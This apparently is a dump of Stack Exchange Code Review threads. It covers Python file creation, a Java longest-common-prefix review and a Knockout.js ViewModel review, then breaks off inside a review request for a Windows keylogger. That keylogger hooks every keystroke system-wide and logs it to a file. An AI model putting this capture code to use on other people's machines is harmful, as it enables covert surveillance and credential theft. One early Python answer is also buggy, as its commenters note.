"body": "<p>You will not get <code>IOError</code> when opening a file for writing. Writing a non-existent file will just create a new one. Here's a solution:</p>\n\n<pre><code>import os\n\npath = \"h:\\\\nosuchdirectory\\\\nosuchfile.txt\"\nif os.path.isfile(path):\n print(\"No such file!\")\n return\nf = open(path, \"w\") # do not modify this line\nf.write(\"This is the grape file\") # do not modify this line\nf.close() # do not modify this line\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-11T21:37:39.270",
"Id": "82235",
"Score": "1",
"body": "Good catch. I did not notice the `\"w\"`. That also means that the question is off-topic since the code does not work."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-11T21:41:49.270",
"Id": "82241",
"Score": "0",
"body": "@Morwenn Oh, you're right. Voted."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-11T21:36:04.247",
"Id": "46969",
"ParentId": "46961",
"Score": "3"
}
},
{
"body": "<p>This is actually an interesting question.</p>\n\n<p>@RuslanOsipov has provided a solution, but technically it is vulnerable to a time-of-check <em>vs.</em> time-of-use race condition. In other words, there is a brief window between the <code>isfile()</code> call and the <code>open()</code> call where a things could go wrong. Depending on the application, that could even be considered a security vulnerability.</p>\n\n<p>So, what to do? For the full story, read <a href=\"http://bugs.python.org/issue12760\" rel=\"nofollow\">Python Issue 12760</a>. In <a href=\"https://docs.python.org/3.3/library/functions.html#open\" rel=\"nofollow\">Python 3.3, <code>open()</code></a> gained an <code>'x'</code> mode flag that makes it behave like the code in this question wants it to. For older versions of Python that lack the <code>'x'</code> flag, the <a href=\"http://bugs.python.org/issue12760#msg147205\" rel=\"nofollow\">workaround</a> is:</p>\n\n<pre><code>def create(file):\n fd = os.open(file, os.O_EXCL | os.O_CREAT | os.O_WRONLY)\n return os.fdopen(fd)\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T01:15:14.203",
"Id": "82268",
"Score": "0",
"body": "Ha, did not know that. Awesome."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-11T22:15:40.370",
"Id": "46971",
"ParentId": "46961",
"Score": "4"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-11T20:43:59.727",
"Id": "46961",
"Score": "2",
"Tags": [
"python",
"file",
"exception",
"error-handling"
],
"Title": "Python and Exception Handling IOError"
} | 46961 |
<p>Please be brutal, and treat this as if I was at an interview at a top 5 tech firm.</p>
<blockquote>
<p><strong>Question:</strong> Write a function to find the longest common prefix string
amongst an array of strings.</p>
</blockquote>
<p>Time it took: 17 minutes</p>
<p>Worst case complexity analysis: n possible array elements, each can have length m that we are traversing, hence O(n*m); m could be a constant, since it's rare to find a string with length, so in a sense, I imagine this could be treated as O(n *constant length(m)) = O(n)?</p>
<p>Space complexity analysis: O(n)</p>
<pre><code>public String longestCommonPrefix(String[] strs) {
String longestPrefix = "";
if(strs.length>0){
longestPrefix = strs[0];
}
for(int i=1; i<strs.length; i++){
String analyzing = strs[i];
int j=0;
for(; j<Math.min(longestPrefix.length(), strs[i].length()); j++){
if(longestPrefix.charAt(j) != analyzing.charAt(j)){
break;
}
}
longestPrefix = strs[i].substring(0, j);
}
return longestPrefix;
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-11T21:19:34.427",
"Id": "82230",
"Score": "3",
"body": "http://commons.apache.org/proper/commons-lang/apidocs/org/apache/commons/lang3/StringUtils.html#getCommonPrefix%28java.lang.String...%29, http://commons.apache.org/proper/commons-lang/apidocs/src-html/org/apache/commons/lang3/StringUtils.html#line.6682"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2018-04-17T19:01:14.520",
"Id": "369360",
"Score": "0",
"body": "@palacsint... helpful. Even more helpful (for slow people like me): `getCommonPrefix`"
}
] | [
{
"body": "<p>Pure functions should generally be declared <code>static</code>.</p>\n\n<p>You shouldn't need to take substrings in a loop — that's inefficient. Think of scanning a two-dimensional ragged array of characters. Check that all of the first characters match, then that all of the second characters match, and so on until you find a mismatch, or one of the strings is too short.</p>\n\n<pre><code>public static String longestCommonPrefix(String[] strings) {\n if (strings.length == 0) {\n return \"\"; // Or maybe return null?\n }\n\n for (int prefixLen = 0; prefixLen < strings[0].length(); prefixLen++) {\n char c = strings[0].charAt(prefixLen);\n for (int i = 1; i < strings.length; i++) {\n if ( prefixLen >= strings[i].length() ||\n strings[i].charAt(prefixLen) != c ) {\n // Mismatch found\n return strings[i].substring(0, prefixLen);\n }\n }\n }\n return strings[0];\n}\n</code></pre>\n\n<p>Space complexity: O(1).</p>\n\n<p>Worst-case time complexity: O(<em>n m</em>) to scan every character in every string.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-11T21:37:44.180",
"Id": "82236",
"Score": "0",
"body": "is my worst correct?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-11T21:41:34.883",
"Id": "82240",
"Score": "0",
"body": "O(_n m_) is optimal, due to the nature of the problem. Your original solution may or may not be O(_n m_), [depending on how `String.substring()` works](http://stackoverflow.com/q/16123446/1157100). Since Java 7, it's worse."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-11T22:33:17.430",
"Id": "82252",
"Score": "0",
"body": "would you hire me with the code I wrote? (Fresh out of college)?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-11T23:06:51.500",
"Id": "82257",
"Score": "2",
"body": "Well, it wouldn't immediately disqualify you. An interview is not an exam where you get one chance to write something and hand it in. A good interviewer would challenge you to improve on it and gauge your reaction."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T01:18:23.627",
"Id": "82269",
"Score": "0",
"body": "To avoid checking lengths throughout, do a one-time scan to find the shortest string."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T09:02:28.670",
"Id": "82295",
"Score": "0",
"body": "Just an idea and i haven't checked it really would but do you reckon that instead of checking characters 1 then 2 then 3 etc, one could check using some kind of binary search logic : get the length of the adjust string l then consider the character at position l/2 ? The worst case would be home n*log(m) but the average case would be worst on a truly random string distribution where the linear search would stop after a couple of iterations."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T09:12:36.030",
"Id": "82296",
"Score": "0",
"body": "@Josay I don't see how it could be possible to arrive at an answer without verifying the first _m_ characters of all _n_ strings."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T10:03:24.300",
"Id": "82299",
"Score": "0",
"body": "Indeed. I completely missed that point :-/"
}
],
"meta_data": {
"CommentCount": "8",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-11T21:24:32.720",
"Id": "46967",
"ParentId": "46965",
"Score": "13"
}
},
{
"body": "<p>As mentioned in the comments of another answer, no one would decide to hire you after writing a few lines of code. I basically can't really tell if you are competent or not from those few lines.</p>\n\n<p>Personally, if I were asked to do something like this in an interview, I would start by saying that I would first look in Apache Commons and Google Guava since they probably already have some functions to do such a task and it would be a waste of developer time ($) to rewrite something like this. Then I would do the exercise. Maybe others could comment here, because that might get you in trouble more than anything else.</p>\n\n<p>There is a very tiny detail which I noticed: you are not consistent about having spaces or not around <code>=</code>, <code><</code> or <code>></code>. It's a very small detail, but, to me, it means that you don't code that much and you have never figured out which to pick.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T01:26:31.953",
"Id": "82270",
"Score": "3",
"body": "I would never penalize a candidate--especially one fresh out of college--for \"failing\" to point out that there's probably a well-rested library to solve any problem. I *would* make a positive note if they mentioned likely candidates, but this is something I can easily teach to a new hire so it's minor. I'm happy to assume that most candidates would assume that when I ask them to write code in an interview...I'm asking them to *write code*. Much of my work involves writing reusable code, and this is a common interview technique."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-11T23:31:32.177",
"Id": "46975",
"ParentId": "46965",
"Score": "7"
}
},
{
"body": "<p>A few notes about the original code which was not mentioned earlier:</p>\n\n<ol>\n<li><p>From <em>Clean Code, Chapter 2: Meaningful Names</em>:</p>\n\n<blockquote>\n <p><strong>Method Names</strong></p>\n \n <p>Methods should have verb or verb phrase names like postPayment, deletePage, or save.\n Accessors, mutators, and predicates should be named for their value and prefixed with get, set, and is according to the javabean standard.</p>\n</blockquote>\n\n<p>So, I'd rename the method to <code>getLongestCommonPrefix</code>.</p></li>\n<li><p>For the method declaration:</p>\n\n<blockquote>\n<pre><code>public String longestCommonPrefix(String[] strs) {\n</code></pre>\n</blockquote>\n\n<p>You could use varargs here:</p>\n\n<pre><code>public static String getLongestCommonPrefix(String... strs) {\n</code></pre>\n\n<p>So the method could be called without creating arrays:</p>\n\n<pre><code>getLongestCommonPrefix(\"aaa\", \"aab\");\n</code></pre></li>\n<li><p>The method currently throws a <code>NullPointerException</code> when one of the parameters is <code>null</code>. It would be more friendly to the users to simply return an empty string.</p></li>\n<li><p>You have a variable for <code>strs[i]</code>:</p>\n\n<blockquote>\n<pre><code>String analyzing = strs[i];\n</code></pre>\n</blockquote>\n\n<p>You could use that here too:</p>\n\n<blockquote>\n<pre><code>for(; j<Math.min(longestPrefix.length(), strs[i].length()); j++){\n</code></pre>\n</blockquote></li>\n</ol>\n\n<p><a href=\"https://softwareengineering.stackexchange.com/a/80092/36726\">Don't do premature optimization</a> but it's interesting to see what other experts used to optimize \n<code>StringUtils.getCommonPrefix</code> in Apache Commons Lang. (<a href=\"http://commons.apache.org/proper/commons-lang/apidocs/org/apache/commons/lang3/StringUtils.html#getCommonPrefix%28java.lang.String...%29\" rel=\"nofollow noreferrer\">javadoc</a>, <a href=\"http://commons.apache.org/proper/commons-lang/apidocs/src-html/org/apache/commons/lang3/StringUtils.html#line.6682\" rel=\"nofollow noreferrer\">source</a>)</p>\n\n<ol>\n<li><p>You can have a short-circuit path to avoid calling <code>Math.min</code> on every iteration. (Applies to <em>200_success</em>'s solution and the one in Apache Commons):</p>\n\n<blockquote>\n<pre><code>// find the min and max string lengths; this avoids checking to make\n// sure we are not exceeding the length of the string each time through\n// the bottom loop.\n</code></pre>\n</blockquote></li>\n<li><p>They have a guard clause for <code>null</code>s and empty strings:</p>\n\n<pre><code>// handle lists containing some nulls or some empty strings\n</code></pre>\n\n<p>For cases when it gets an array where the first elements are long strings but last one is an empty one.</p></li>\n</ol>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T18:28:51.330",
"Id": "82439",
"Score": "1",
"body": "wow, you taught me something new; had no clue that var args even existed(although I'd seen them before, I just thought it was some hack!)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-12-16T11:50:02.777",
"Id": "134128",
"Score": "1",
"body": "get* is for accessors. This is not an accessor."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T21:30:10.510",
"Id": "47024",
"ParentId": "46965",
"Score": "5"
}
}
] | {
"AcceptedAnswerId": "46967",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-11T20:55:31.187",
"Id": "46965",
"Score": "15",
"Tags": [
"java",
"algorithm",
"interview-questions"
],
"Title": "Longest Common Prefix in an array of Strings"
} | 46965 |
<p>This is my first time using knockout. I'm reading/writing a JSON file with a fair bit of nested data. I had no problem creating the ViewModel to just write to the file, but now that I'm reading the data into my model also, I've had to write a few if/else statements to handle the different cases. Not sure if this is the right way to do it. </p>
<p>I've got a ViewModel with a function to add a new record, and to save the data. The 3 functions above are used for mapping the data.</p>
<pre><code>function Survey(name, panes, tester)
{
this.name = ko.observable(name);
this.panes = ko.observableArray([new Pane(panes)]);
this.tester = ko.observable(tester);
}
function Pane(panes)
{
//var panesCount = panes.length;
//console.log(panes[0].type);
if (panes) {
this.type = ko.observable(panes[0].type);
this.head = ko.observable(panes[0].head);
this.content = ko.observable(panes[0].content);
this.options = ko.observableArray([new PaneOptions(panes[0].options)]);
}
else {
this.type = ko.observable();
this.head = ko.observable();
this.content = ko.observable();
this.options = ko.observableArray([new PaneOptions()]);
}
}
function PaneOptions(options)
{
//console.log(options);
if (options) {
this.data = ko.observable(options[0].data);
this.target = ko.observable(options[0].target);
}
else {
this.data = ko.observable();
this.target = ko.observable();
}
}
function SurveyViewModel()
{
var self = this;
self.surveys = ko.observableArray([]);
$.getJSON("create/fetch", function(data) {
//console.log(data.surveys[0].name);
if (data) { // check if json file is empty
for (var i=0; i < data.surveys.length; i++) {
console.log(i);
self.surveys.push(new Survey(data.surveys[i].name, data.surveys[i].panes, data.surveys[i].tester))
}
}
});
self.addSurvey = function ()
{
self.surveys.push(new Survey());
};
self.saveUserData = function()
{
var data_to_send = ko.toJSON(self);
$.post("create/save", data_to_send, function(data) {
console.log("Your data has been posted to the server!");
});
}
}
var vm = new SurveyViewModel();
ko.applyBindings(vm);
</code></pre>
<p>Here you can see the JSON representation:</p>
<pre><code>{
"surveys": [
{
"name": "My First Survey1",
"panes": [
{
"type": "question1",
"head": "Heading Text1",
"content": "multichoice1",
"options": [
{
"data": "Time",
"target": 2
}
]
}
],
"tester": "default"
},
{
"name": "My Second Survey2",
"panes": [
{
"type": "response2",
"head": "Heading Text2",
"content": "multichoice2",
"options": [
{
"data": "Time",
"target": 2
}
]
}
],
"tester": "default2"
},
{
"name": "My Third Survey3",
"panes": [
{
"type": "thanks3",
"head": "Heading Text3",
"content": "multichoice3",
"options": [
{
"data": "Time",
"target": 2
}
]
}
],
"tester": "default3"
}
]
}
</code></pre>
<p>Any input is greatly appreciated!</p>
| [] | [
{
"body": "<p>Overall, it looks really good and serves as a pretty great model of what Knockout models <em>should</em> look like, but, internally there are some strange things here like arrays that you are using <code>[0]</code> only on (this could be the result of poor data format via your backend web services) and some ambiguity between Panes, Pane, and PaneOptions.</p>\n\n<h3>(1) Use the guard or ternary operator to create defaults</h3>\n\n<p>This will help you avoid some of these logic blocks in all of your constructors.</p>\n\n<h3>(2) Fix ambiguity with singular and plural constructors (Planes, Plane)</h3>\n\n<p>The relationship between Panes and Pane are a little strange! In the <code>Survey</code> constructor, you are create a variable called panes (<code>this.panes</code>) and then instantiating and passing a new Pane to which you are passing an array of panes? A little bit recursive. In the <code>Pane</code> constructor I would not expect to take in panes in the arguments. I think your intention is for the <code>Survey</code> to create an array of panes, like this:</p>\n\n<pre><code>function Survey(name, panes, tester) \n{\n var _this = this;\n\n // 1\n this.name = ko.observable(name || '');\n // 2\n this.panes = ko.observableArray();\n this.tester = ko.observable(tester);\n\n if(panes){\n panes.forEach(function(pane){\n _this.panes.push(new Pane(pane));\n });\n }\n}\n</code></pre>\n\n<h3>(3) Fix improper use of arrays with fixed [0] element</h3>\n\n<p>Why is Panes plural in the Pane constructor, if you are only using array item 0? I think the <code>Pane</code> constructor should just take in an parameter like <code>options</code> which would be used to return an individual pane:</p>\n\n<pre><code>function Pane(config) \n{\n this.type = ko.observable(config.type);\n this.head = ko.observable(config.head);\n this.content = ko.observable(config.content);\n this.options = ko.observableArray([new PaneOptions(config.options)]);\n\n /*\n * You could return \"this\" but in JS that is the default behavior.\n */\n}\n</code></pre>\n\n<p>Additionally, this will help you avoid JS errors when you might attempt to access a null array. For example, if <code>panes</code> in <code>panes[0].options</code> were <code>null</code>, you would have an error at <code>pane[0]</code> before you even got to the options property.</p>\n\n<p>I am not sure why you are operating on <code>options[0]</code> here - at the point when you are instantiating a Pane, you should be passing in a config (see above) which has an options property, which will most likely be an object like <code>{ data: \"\", target: \"\" }</code> since that is what you are expecting in the <code>PaneOptions</code> constructor:</p>\n\n<pre><code>function PaneOptions(options) \n{\n // Setup defaults with ternary operator\n this.data = ko.observable(options ? options.data : '');\n this.target = ko.observable(options ? options.target : '');\n}\n</code></pre>\n\n<p>Applicable original code with numbered callouts corresponding to items above</p>\n\n<pre><code>function Survey(name, panes, tester) \n{\n // 1\n this.name = ko.observable(name || '');\n // 2\n this.panes = ko.observableArray([new Pane(panes)]);\n this.tester = ko.observable(tester);\n}\n\n// 2\nfunction Pane(panes) \n{\n if (panes) {\n // 3\n this.type = ko.observable(panes[0].type);\n this.head = ko.observable(panes[0].head);\n this.content = ko.observable(panes[0].content);\n this.options = ko.observableArray([new PaneOptions(panes[0].options)]);\n }\n else {\n this.type = ko.observable();\n this.head = ko.observable();\n this.content = ko.observable();\n this.options = ko.observableArray([new PaneOptions()]);\n }\n}\n\nfunction PaneOptions(options) \n{\n if (options) {\n // 3\n this.data = ko.observable(options[0].data);\n this.target = ko.observable(options[0].target);\n }\n else {\n this.data = ko.observable();\n this.target = ko.observable();\n }\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-10-22T04:01:47.693",
"Id": "67508",
"ParentId": "46968",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-11T21:33:20.773",
"Id": "46968",
"Score": "2",
"Tags": [
"javascript",
"jquery",
"knockout.js"
],
"Title": "Is this a correct knockout ViewModel setup?"
} | 46968 |
<p>I have had this keylogger code for a while now (a few years*), and I figured I would put it up for review. Here is what I would like reviewed (in order):</p>
<ol>
<li><p><strong>Portability</strong> - right now, this program can only work on Windows systems. In what ways can I make this more portable? (I feel like I would have to go digging for POSIX functions, but I'm not sure which ones would suit my needs.)</p></li>
<li><p><strong>Bugs</strong> - when I built this code, it ran as intended. There may have been bugs that I did not catch, and I would like to know what those are (and how to fix them).</p></li>
<li><p><strong>Refactoring</strong> - I feel as if I can simplify this down a lot. Maybe I'm wrong, but is there a better/easier way to translate a key press to a printable, human-readable character?</p></li>
<li><p><strong>Usability</strong> - do you think there would be a better way I could write data to my logs so that it would be more readable upon analysis?</p></li>
</ol>
<p>*<sub>It may not be up to my coding standards as of now. Don't think of me as a hypocrite if I have gone against my own advice!</sub></p>
<hr>
<p><strong>keylogger.c</strong>:</p>
<pre><code>#include <windows.h>
#include <winuser.h>
#include <stdio.h>
#include <stdbool.h>
#define VK_VOLUME_MUTE 0xAD
#define VK_VOLUME_DOWN 0xAE
#define VK_VOLUME_UP 0xAF
int isCapsLock(void)
{
return (GetKeyState(VK_CAPITAL) & 0x0001);
}
void log(char s1[])
{
FILE* file = fopen(getFileName(), "a+");
int i = 0;
fputs(s1, file);
i++;
if (i == 50)
{
fputc('\n', file);
i = 0;
}
fclose(file);
}
/* An application-defined callback function used with the SetWindowsHookEx function.
The system calls this function every time a new keyboard input event is about to be posted into a thread input queue.
1st Parameter nCode - A code the hook procedure uses to determine how to process the message.
2nd Parameter wParam - The identifier of the keyboard message. This parameter can be one of the
following messages: WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, or WM_SYSKEYUP.
3rd Parameter lParam: A pointer to a KBDLLHOOKSTRUCT structure.
*/
LRESULT CALLBACK
LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
/* This structure contains information about a low-level keyboard input like virtual code, scan code, flags,
time stamp and additional information associated with the message.
*/
KBDLLHOOKSTRUCT *pKeyBoard = (KBDLLHOOKSTRUCT *) lParam;
char val[5];
DWORD dwMsg = 1;
switch (wParam)
{
case WM_KEYDOWN: // When the key has been pressed. Changed from WM_KEYUP to catch multiple strokes.
{
// Assign virtual key code to local variable
DWORD vkCode = pKeyBoard->vkCode;
if ((vkCode >= 39) && (vkCode <= 64)) // Keys 0-9
{
// TODO fix to shift key HELD down
if (GetAsyncKeyState(VK_SHIFT)) // Check if shift key is down (fairly accurate)
{
switch (vkCode)
// 0x30-0x39 is 0-9 respectively
{
case 0x30:
log(")");
break;
case 0x31:
log("!");
break;
case 0x32:
log("@");
break;
case 0x33:
log("#");
break;
case 0x34:
log("$");
break;
case 0x35:
log("%");
break;
case 0x36:
log("^");
break;
case 0x37:
log("&");
break;
case 0x38:
log("*");
break;
case 0x39:
log("(");
break;
}
}
else // If shift key is not down
{
sprintf(val, "%c", vkCode);
log(val);
}
}
else if ((vkCode > 64) && (vkCode < 91)) // Keys a-z
{
/*
The following is a complicated statement to check if the letters need to be switched to lowercase.
Here is an explanation of why the exclusive or (XOR) must be used.
Shift Caps LowerCase UpperCase
T T T F
T F F T
F T F T
F F T F
The above truth table shows what case letters are typed in,
based on the state of the shift and caps lock key combinations.
The UpperCase column is the same result as a logical XOR.
However, since we're checking the opposite in the following if statement, we'll also include a NOT operator (!)
Becuase, NOT(XOR) would give us the LowerCase column results.
*/
if (!(GetAsyncKeyState(VK_SHIFT) ^ isCapsLock())) // Check if letters should be lowercase
{
vkCode += 32; // Un-capitalize letters
}
sprintf(val, "%c", vkCode);
log(val);
}
else // Every other key
{
switch (vkCode)
// Check for other keys
{
case VK_CANCEL:
log("[Cancel]");
break;
case VK_SPACE:
log(" ");
break;
case VK_LCONTROL:
log("[LCtrl]");
break;
case VK_RCONTROL:
log("[RCtrl]");
break;
case VK_LMENU:
log("[LAlt]");
break;
case VK_RMENU:
log("[RAlt]");
break;
case VK_LWIN:
log("[LWindows]");
break;
case VK_RWIN:
log("[RWindows]");
break;
case VK_APPS:
log("[Applications]");
break;
case VK_SNAPSHOT:
log("[PrintScreen]");
break;
case VK_INSERT:
log("[Insert]");
break;
case VK_PAUSE:
log("[Pause]");
break;
case VK_VOLUME_MUTE:
log("[VolumeMute]");
break;
case VK_VOLUME_DOWN:
log("[VolumeDown]");
break;
case VK_VOLUME_UP:
log("[VolumeUp]");
break;
case VK_SELECT:
log("[Select]");
break;
case VK_HELP:
log("[Help]");
break;
case VK_EXECUTE:
log("[Execute]");
break;
case VK_DELETE:
log("[Delete]");
break;
case VK_CLEAR:
log("[Clear]");
break;
case VK_RETURN:
log("[Enter]");
break;
case VK_BACK:
log("[Backspace]");
break;
case VK_TAB:
log("[Tab]");
break;
case VK_ESCAPE:
log("[Escape]");
break;
case VK_LSHIFT:
log("[LShift]");
break;
case VK_RSHIFT:
log("[RShift]");
break;
case VK_CAPITAL:
log("[CapsLock]");
break;
case VK_NUMLOCK:
log("[NumLock]");
break;
case VK_SCROLL:
log("[ScrollLock]");
break;
case VK_HOME:
log("[Home]");
break;
case VK_END:
log("[End]");
break;
case VK_PLAY:
log("[Play]");
break;
case VK_ZOOM:
log("[Zoom]");
break;
case VK_DIVIDE:
log("[/]");
break;
case VK_MULTIPLY:
log("[*]");
break;
case VK_SUBTRACT:
log("[-]");
break;
case VK_ADD:
log("[+]");
break;
case VK_PRIOR:
log("[PageUp]");
break;
case VK_NEXT:
log("[PageDown]");
break;
case VK_LEFT:
log("[LArrow]");
break;
case VK_RIGHT:
log("[RArrow]");
break;
case VK_UP:
log("[UpArrow]");
break;
case VK_DOWN:
log("[DownArrow]");
break;
case VK_NUMPAD0:
log("[0]");
break;
case VK_NUMPAD1:
log("[1]");
break;
case VK_NUMPAD2:
log("[2]");
break;
case VK_NUMPAD3:
log("[3]");
break;
case VK_NUMPAD4:
log("[4]");
break;
case VK_NUMPAD5:
log("[5]");
break;
case VK_NUMPAD6:
log("[6]");
break;
case VK_NUMPAD7:
log("[7]");
break;
case VK_NUMPAD8:
log("[8]");
break;
case VK_NUMPAD9:
log("[9]");
break;
case VK_F1:
log("[F1]");
break;
case VK_F2:
log("[F2]");
break;
case VK_F3:
log("[F3]");
break;
case VK_F4:
log("[F4]");
break;
case VK_F5:
log("[F5]");
break;
case VK_F6:
log("[F6]");
break;
case VK_F7:
log("[F7]");
break;
case VK_F8:
log("[F8]");
break;
case VK_F9:
log("[F9]");
break;
case VK_F10:
log("[F10]");
break;
case VK_F11:
log("[F11]");
break;
case VK_F12:
log("[F12]");
break;
case VK_F13:
log("[F13]");
break;
case VK_F14:
log("[F14]");
break;
case VK_F15:
log("[F15]");
break;
case VK_F16:
log("[F16]");
break;
case VK_F17:
log("[F17]");
break;
case VK_F18:
log("[F18]");
break;
case VK_F19:
log("[F19]");
break;
case VK_F20:
log("[F20]");
break;
case VK_F21:
log("[F21]");
break;
case VK_F22:
log("[F22]");
break;
case VK_F23:
log("[F23]");
break;
case VK_F24:
log("[F24]");
break;
case VK_OEM_2:
if (GetAsyncKeyState(VK_SHIFT))
log("?");
else
log("/");
break;
case VK_OEM_3:
if (GetAsyncKeyState(VK_SHIFT))
log("~");
else
log("`");
break;
case VK_OEM_4:
if (GetAsyncKeyState(VK_SHIFT))
log("{");
else
log("[");
break;
case VK_OEM_5:
if (GetAsyncKeyState(VK_SHIFT))
log("|");
else
log("\\");
break;
case VK_OEM_6:
if (GetAsyncKeyState(VK_SHIFT))
log("}");
else
log("]");
break;
case VK_OEM_7:
if (GetAsyncKeyState(VK_SHIFT))
log("\\");
else
log("'");
break;
break;
case 0xBC: //comma
if (GetAsyncKeyState(VK_SHIFT))
log("<");
else
log(",");
break;
case 0xBE: //Period
if (GetAsyncKeyState(VK_SHIFT))
log(">");
else
log(".");
break;
case 0xBA: //Semi Colon same as VK_OEM_1
if (GetAsyncKeyState(VK_SHIFT))
log(":");
else
log(";");
break;
case 0xBD: //Minus
if (GetAsyncKeyState(VK_SHIFT))
log("_");
else
log("-");
break;
case 0xBB: //Equal
if (GetAsyncKeyState(VK_SHIFT))
log("+");
else
log("=");
break;
default:
/* For More details refer this link http://msdn.microsoft.com/en-us/library/ms646267
As mentioned in document of GetKeyNameText http://msdn.microsoft.com/en-us/library/ms646300
Scon code is present in 16..23 bits therefor I shifted the code to correct position
Same for Extended key flag
*/
dwMsg += pKeyBoard->scanCode << 16;
dwMsg += pKeyBoard->flags << 24;
char key[16];
/* Retrieves a string that represents the name of a key.
1st Parameter dwMsg contains the scan code and Extended flag
2nd Parameter lpString: lpszName - The buffer that will receive the key name.
3rd Parameter cchSize: The maximum length, in characters, of the key name, including the terminating null character
If the function succeeds, a null-terminated string is copied into the specified buffer,
and the return value is the length of the string, in characters, not counting the terminating null character.
If the function fails, the return value is zero.
*/
GetKeyNameText(dwMsg, key, 15);
log(key);
}
}
break;
}
default:
/* Passes the hook information to the next hook procedure in the current hook chain.
1st Parameter hhk - Optional
2nd Parameter nCode - The next hook procedure uses this code to determine how to process the hook information.
3rd Parameter wParam - The wParam value passed to the current hook procedure.
4th Parameter lParam - The lParam value passed to the current hook procedure
*/
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
return 0;
}
// Function called by main function to install hook
DWORD WINAPI
KeyLogger(LPVOID lpParameter)
{
HHOOK hKeyHook;
/* Retrieves a module handle for the specified module.
parameter is NULL, GetModuleHandle returns a handle to the file used to create the calling process (.exe file).
If the function succeeds, the return value is a handle to the specified module.
If the function fails, the return value is NULL.
*/
HINSTANCE hExe = GetModuleHandle(NULL);
if (!hExe)
{
return 1;
}
else
{
/*Installs an application-defined hook procedure into a hook chain
1st Parameter idHook: WH_KEYBOARD_LL - The type of hook procedure to be installed
Installs a hook procedure that monitors low-level keyboard input events.
2nd Parameter lpfn: LowLevelKeyboardProc - A pointer to the hook procedure.
3rd Parameter hMod: hExe - A handle to the DLL containing the hook procedure pointed to by the lpfn parameter.
4th Parameter dwThreadId: 0 - the hook procedure is associated with all existing threads running
If the function succeeds, the return value is the handle to the hook procedure.
If the function fails, the return value is NULL.
*/
hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC) LowLevelKeyboardProc, hExe, 0);
/*Defines a system-wide hot key of alt+ctrl+9
1st Parameter hWnd(optional) :NULL - A handle to the window that will receive hot key message generated by hot key.
2nd Parameter id:1 - The identifier of the hot key
3rd Parameter fsModifiers: MOD_ALT | MOD_CONTROL - The keys that must be pressed in combination with the key
specified by the uVirtKey parameter in order to generate the WM_HOTKEY message.
4th Parameter vk: 0x39(9) - The virtual-key code of the hot key
*/
RegisterHotKey(NULL, 1, MOD_ALT | MOD_CONTROL, 0x39);
MSG msg;
// Message loop retrieves messages from the thread's message queue and dispatches them to the appropriate window procedures.
// For more info http://msdn.microsoft.com/en-us/library/ms644928%28v=VS.85%29.aspx#creating_loop
//Retrieves a message from the calling thread's message queue.
while (GetMessage(&msg, NULL, 0, 0) != 0)
{
// if Hot key combination is pressed then exit
if (msg.message == WM_HOTKEY)
{
UnhookWindowsHookEx(hKeyHook);
return 0;
}
//Translates virtual-key messages into character messages.
TranslateMessage(&msg);
//Dispatches a message to a window procedure.
DispatchMessage(&msg);
}
/* To free system resources associated with the hook and removes a hook procedure installed in a hook chain
Parameter hhk: hKeyHook - A handle to the hook to be removed.
*/
UnhookWindowsHookEx(hKeyHook);
}
return 0;
}
int start(char* argv[])
{
HANDLE hThread;
/* CreateThread function Creates a thread to execute within the virtual address space of the calling process.
1st Parameter lpThreadAttributes: NULL - Thread gets a default security descriptor.
2nd Parameter dwStackSize: 0 - The new thread uses the default size for the executable.
3rd Parameter lpStartAddress: KeyLogger - A pointer to the application-defined function to be executed by the thread
4th Parameter lpParameter: argv[0] - A pointer to a variable to be passed to the thread
5th Parameter dwCreationFlags: 0 - The thread runs immediately after creation.
6th Parameter pThreadId(out parameter): NULL - the thread identifier is not returned
If the function succeeds, the return value is a handle to the new thread.
*/
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) KeyLogger,
(LPVOID) argv[0], 0, NULL );
if (hThread)
{
// Waits until the specified object is in the signaled state or the time-out interval elapses.
return WaitForSingleObject(hThread, INFINITE);
}
return 1;
}
</code></pre>
<p><strong>main.c</strong>:</p>
<pre><code>#include <windows.h>
